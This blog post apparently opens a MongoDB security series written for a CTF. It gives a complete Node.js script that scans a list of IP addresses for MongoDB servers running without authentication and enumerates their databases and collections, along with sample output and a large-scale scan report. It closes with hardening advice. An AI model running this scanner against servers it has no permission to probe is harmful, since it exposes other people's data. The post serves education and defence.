MongoDB Security Part One

hctf is over a month away. In the online game, I prepared two MongoDB vulnerable applications for players to capture the flag. Actually, NoSQL develops fast these years, and unlike traditional SQL databases, NoSQL databases require fewer relational constraints and consistency checks. However, they are still potentially vulnerable to injection attacks, even if they aren't using the traditional sql syntax. I think it's time for us to focus on NoSQL security, and this is also my initial purpose.

NoSQL injection attacks may execute in different areas of an application than traditional SQL injection. Where SQL injection would execute within the database engine, NoSQL variants may execute during within the application layer or the database layer, depending on the NoSQL API used and data model. Typically NoSQL injection attacks will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL API call.

There are now over 150 NoSQL databases available, and MongoDB is the most widely used NoSQL database. In a series of MongoDB Security articles, I will show different vulnerable applications, the code and payload is available in github.

For the first part, I would like to show the MongoDB unauthorized access vulnerability, which causes MongoDB information revealable because the MongoDB runned without the option --auth. And the revealable information may cause a series of other security problem.

As the payload may attackable, I only scan my servers for the example. And I write my payload as follow:

var file = "data",
    lineReader = require("line-reader"),
    mongoose = require('mongoose');

function conn (host, cb){
    var url = 'mongodb://' + host,
        options = { server: { socketOptions: { connectTimeoutMS: 4000 }}},
        connection = mongoose.createConnection(url, options);
        Admin = mongoose.mongo.Admin;
    connection.on('error', function(err) {
        if (err) throw new Error(err);
    });
    connection.on('open',function(){
        new Admin(connection.db).listDatabases(function (err, res) {
            if (err) throw new Error(err);
            res.databases.map(function (db) {
                console.log('[*] Database %s %s', db.name, db.sizeOnDisk);
                var db = mongoose.createConnection(url + '/' + db.name, options);
                db.on('open', function () {
                    db.db.collectionNames(function (err, res) {
                        if (err) throw new Error(err);
                        res.map(function (collection) {
                            console.log('[+] Collection %s', collection.name);
                        });
                        console.log();
                        db.close();
                        connection.close();
                    })
                })
            })
        })
        cb(host);
    });
}
lineReader.eachLine(file, function(line) {
    if (String(line)) {
        conn(line, function(host){
            console.log("Detected: " + host);
        });
    }
}).then(function () {
    console.log('[*] Read Done');
});

The payload scans a list of ip, and gets the unauthorized mongo server, what's more, for every unauthorized mongo server, I get their Databases and Collections to stress the importance of information leakage. The results for my server as follow:

[*] Read Done
Detected: xx.xx.xx.xx
[*] Database erciyuan 218103808
[*] Database shop 218103808
[*] Database admin 83886080
[*] Database test 1

[+] Collection admin.system.version
[+] Collection admin.system.indexes
[+] Collection admin.system.users

[+] Collection erciyuan.system.indexes
[+] Collection erciyuan.system.users
[+] Collection erciyuan.renwu
[+] Collection erciyuan.log

[+] Collection shop.system.indexes
[+] Collection shop.system.users
[+] Collection shop.users
[+] Collection shop.feedbacks
[+] Collection shop.baskets
[+] Collection shop.products

Detected: xx.xx.xx.xx
[*] Database vnwa 218103808
[*] Database admin 83886080
[*] Database test 1

[+] Collection admin.system.version
[+] Collection admin.system.indexes
[+] Collection admin.system.users

[+] Collection vnwa.system.indexes
[+] Collection vnwa.users
[+] Collection vnwa.messages

Besides, the HackerSoul scan almost 40000 IP list using MongoDB, and give us a report about this vulnerability.

[*] Start-date: 20141202-23:20
[*] End-date: 20141202-23:28
[*] Info
  [+] Target: 39818
  [+] Success: 7071
[*] Done

The results is crazy, hence, be sure to run your mongo with auth flag, or, change the mongo port( default is 27017) and start the firewall only allow the white-list ip to connect(something like iptables.

End

If you have something to correct, welcome to point it out:D

References: